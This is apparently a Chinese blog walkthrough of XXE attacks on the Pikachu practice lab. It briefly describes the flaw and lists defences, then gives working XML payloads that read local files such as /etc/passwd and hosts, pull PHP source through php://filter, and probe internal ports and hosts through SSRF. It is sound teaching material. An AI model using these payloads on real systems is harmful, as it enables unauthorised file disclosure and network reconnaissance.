Pikachu靶场——XXE 漏洞

文章目录

  • [1. XXE](#1. XXE)
    • [1.1 查看系统文件内容](#1.1 查看系统文件内容)
    • [1.2 查看PHP源代码](#1.2 查看PHP源代码)
    • [1.3 查看开放端口](#1.3 查看开放端口)
    • [1.4 探测内网主机](#1.4 探测内网主机)

1. XXE

可参考我写另一篇文章: XXE 漏洞及案例实战

漏洞描述

XXE(XML External Entity)攻击是一种利用XML解析器漏洞的攻击。在这种攻击中,攻击者通过在XML文件中插入恶意实体来触发解析器加载恶意代码或文件,从而执行任意代码、读取本地文件等操作。

在XXE攻击中,攻击者通常会构造一个包含恶意实体的XML文件,并将其提交到目标服务器上进行解析。当服务器使用XML解析器解析文件时,会读取实体并展开其定义,从而导致恶意代码被执行或文件被泄露。

例如,在以下XML代码中:

xml 复制代码
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

所包含的ENTITY xxe就是一个XXE实体,它指定了一个名为"xxe"的实体,其内容来自于file:///etc/passwd路径下的文件。当XML解析器解析该文件时,它会尝试读取并展开xxe实体,从而将/etc/passwd文件内容返回给攻击者。

防范XXE攻击,可以采取以下措施:

  1. 对用户提交的XML文件进行严格校验,禁止包含未知实体、注释等内容。
  2. 禁用或限制XML解析器的外部实体加载功能,例如禁止加载网络上的实体、限制文件读取范围等。
  3. 使用安全的XML解析库,如使用DOM解析器时要确保开启Entity Expansion Limit选项等。

参考文章:XXE漏洞利用技巧:从XML到远程代码执行

先输入一个非xml的内容,查看页面响应。

输入一个包含命名实体(内部实体)的xml数据(以下代码中xxe是命名实体的实体名称):

xml 复制代码
<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe "芜湖" > ]> 
<foo>&xxe;</foo>

网页上回显"芜湖",说明网页对输入的xml数据是有结果回显的。

但是这里只能判断是否有回显,不能判断是否支持外部实体。

1.1 查看系统文件内容

查看hosts文件

输入payload,代码中xxe是外部实体的实体名称:

xml 复制代码
<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts" > ]> 
<foo>&xxe;</foo>

注意:file://协议只能用绝对路径,无法使用相对路径。

1.2 查看PHP源代码

查看php源代码一般用php伪协议php://filter

构造payload:

xml 复制代码
<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=C:/software/phpstudy_pro/WWW/pikachu/vul/xxe/xxe.php" > ]> 
<foo>&xxe;</foo>

获得了base64编码的xxe.php文件源代码

通过utools中的插件进行解码即可。

1.3 查看开放端口

在输入框中输入下面的xml代码。

xml 复制代码
<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" > ]> 
<foo>&xxe;</foo>
xml 复制代码
<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "http://127.0.0.1:81" > ]> 
<foo>&xxe;</foo>

页面显示如下图,但是81端口的处理速度较慢。因为服务器80端口是开放的而81端口是关闭的。

使用bp抓包后进行爆破,爆破1~100这100个端口。


点击Columns,勾选Response received,然后就增加了发送请求和回答复之间的时间的显示。

通过观察时间的长短,判断出了有哪些端口开放,这里只有80端口是开放的。

1.4 探测内网主机

同端口探测一样,可根据返回信息内容的接收响应时间来判断ip是否存在。

构造payload

xml 复制代码
<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "http://192.168.188.183" > ]> 
<foo>&xxe;</foo>


点击Columns,勾选Response received,然后就增加了发送请求和回答复之间的时间的显示。

使用nmap扫描来成功内网主机

对比两次的结果,信息一致。

相关推荐
半路_出家ren20 分钟前
流量抓取工具(wireshark)
网络·网络协议·测试工具·网络安全·wireshark·流量抓取工具
国科安芯1 小时前
面向高性能运动控制的MCU:架构创新、算法优化与应用分析
单片机·嵌入式硬件·安全·架构·机器人·汽车·risc-v
ALe要立志成为web糕手2 小时前
[BJDCTF2020]EzPHP
web安全·网络安全·php·ctf
迷路的小绅士3 小时前
常见网络安全攻击类型深度剖析(四):跨站脚本攻击(XSS)——分类、漏洞利用与前端安全防护
前端·安全·web安全
高级IT技术专家secops9983 小时前
在统信UOS/麒麟Kylin OS操作系统中配置APT和GIT代理
运维·服务器·git·系统安全·kylin
自由鬼3 小时前
开源漏洞扫描器:OpenVAS
运维·服务器·安全·网络安全·开源·漏洞管理
Python_金钱豹4 小时前
Text2SQL零代码实战!RAGFlow 实现自然语言转 SQL 的终极指南
前端·数据库·sql·安全·ui·langchain·机器人
TazmiDev4 小时前
2025 XYCTF ezsql 详细教程wp
web安全·网络安全·ctf·sql注入·布尔盲注
广东航连科技4 小时前
银行网点款箱交接权限认证开锁与密钥时效双重监控
物联网·安全·银行·精细化管理·锁控·智能锁·款箱
迷路的小绅士4 小时前
网络安全概述:定义、重要性与发展历程
网络·安全·web安全